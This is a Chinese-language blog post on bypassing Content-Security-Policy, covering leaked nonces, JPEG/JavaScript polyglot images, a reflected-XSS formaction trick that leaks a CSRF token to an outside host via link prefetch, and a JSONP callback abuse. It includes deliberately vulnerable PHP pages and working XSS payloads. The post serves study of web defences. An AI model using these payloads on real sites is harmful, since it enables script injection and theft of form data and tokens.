文章目录
  1. 简单的输入输出情况
  2. 双语言Javascript/JPEG绕过CSP
    1. 扩展阅读
  3. 利用反射XSS二次注入绕过CSP form-action限制
  4. 利用CDN的回调函数绕过self的CSP

CSP绕过姿势总结

CSP的全名是Content-Security-Policy,意在缓解XSS,CSRF一类的攻击。基础的CSP教程可以参考以下文章:


简单的输入输出情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>xss</title>
<meta http-equiv="Content-Type" content="text/html; charset=uft-8" />
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-randcode'";>
</head>
<body>
<form action="nonces.php" method="post">
<input type="text" name="a">
<input type="submit" name="submit">
</form>

<?php
echo($_POST['a']);
?>

</body>
</html>

在这种情况下,post传入的a被直接输出出来,形成xss漏洞。脚本限制需要特定的nonce,但是nonce可以被查看到,所以在这种情况下只需要post数据:<script nonce='randcode'>alert(1)</script>即可执行。


双语言Javascript/JPEG绕过CSP

PortSwigger在他的博客中分享了一种修改JPEG,既能显示,又可以作为javascript执行的方法。上传JPEG之后用<script>标签加载的方式绕过CSP的不允许加载其它域脚本。

原文在:Bypassing CSP using polyglot JPEGs

让我们来解读一下具体的原理。

首先我们需要知道JPEG头文件的前四个字节是:0XFF 0XD8 0XFF 0XE0,而且他也可以作为javascript的语言结构,可以当做javascript执行而不报错,这为双语言javascript/jpeg打下基础了。第四个字节之后的两个字节是指定JPEG头部长度的字节,作者用了Javascript的注释符/*来作为这两个字节,即0X2F 0X2A作为头部,那么到0X2F2A的长度都要填充NULL。

到现在为止头文件长成这个样子:FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00 ......

进入JPEG内容,为了javascript可以正常执行,就需要闭合头文件中的注释,并且写入xss语句,语句结束后再开启新的注释,让后面的代码不影响js的执行。

最后,到文件的末尾闭合Javascript注释,还需要编辑图像数据的最后四个字节,让它符合图片格式。但是不要忘了用Javascript注释掉这这个东西,所以最后的四个字节是这样

2F 2F FF D9

我画了一个帮助理解的图片……(这真的可以帮助理解么)

解释图片.jpg

这种方法可以在Safari,Firefox,Edge,IE11上运行,Chrome聪明的不会把图片当做Javascript执行。Firefox 2017之后的版本修补了这个漏洞。

最后Javascript的代码如下:

1
<script charset ='ISO-8859-1'src='xss.jpg'> </script>

这里提供大小不同的已经完成修改了的图片:
大图片
小图片

扩展阅读

GIF/Javascript Polyglots


利用反射XSS二次注入绕过CSP form-action限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<title>xss</title>
<meta http-equiv="Content-Type" content="text/html; charset=uft-8" />
<meta http-equiv="Content-Security-Policy" content="Default-src 'self'";>
</head>
<body>
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$a = $_GET['text'];
echo "$a";//这里存在反射性xss
?>
<form method="POST" action="csp_active.php" id='subscribe'>
<input type="hidden" name="csrftoken" value="csrftokenis1234567">
</form>
</body>
</html>

一个CSP全开(包括form-action),存在XSS反射漏洞并有表单提交的地方,可以利用反射xss二次注入绕过CSP form-action获得表单内容,包括csrftoken。

攻击代码:http://localhost/secstu/xss/CSP/csp_active.php?text=<input value="CLICK ME FOR POC" type="submit" formaction="" form="subscribe" formmethod="get" /><input type="hidden" name="xss" form="subscribe" value="<link rel='prefetch' href='http://hebic.me/websec/xss/csp/csp.php'>"/>

攻击代码解释:

  1. text变量会被输出在网页中,这是xss反射型漏洞:text变量赋值为下面代码:
    <input value="CLICK ME FOR POC" type="submit" formaction="" form="subscribe" formmethod="get" /><input type="hidden" name="xss" form="subscribe" value="<link rel='prefetch' href='http://hebic.me/websec/xss/csp/csp.php'>"/>
  2. 生成一个submit
  3. 利用formaction覆盖原form的HTML5特性,将原本为POST传参改为GET传参,让表单中的数据进入URL
  4. 用rel=prefetch的预加载方式访问可控地址,csp.php会收到带着明文表单的referer头部,至此,表单的数据被泄漏到远程地址中。

利用CDN的回调函数绕过self的CSP

原文在:H5SC Minichallenge 3: “Sh*t, it’s CSP!”

github上看到这样一个挑战赛,在CSP的配置为default-src 'self' ajax.googleapis.com并且加载了https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js的情况下绕过CSP。

原文中第一名提供了一种眼前一亮的思路:使用api返回json格式执行js,达到xss的目的。

我将题目的核心部分复制下来

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header('Content-Security-Policy: default-src \\'self\\' ajax.googleapis.com');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
?><!doctype html>
<head>
<title>Sh*t, it's CSP!</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body class="<?php echo $_GET['xss']; ?>">
<script src=''></script>
</body>

第一名的payload是"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

显而易见的利用回调一个alert内容为1337完成挑战。返回JSON格式,被script接受到。Chrome 56.0.2924.87和Firefox 51.0.1均弹窗。

另外很多答案都用到了AngularJS,自己还一点不会,看来下一步得学习这个了。

支持一下
扫一扫,支持forsigner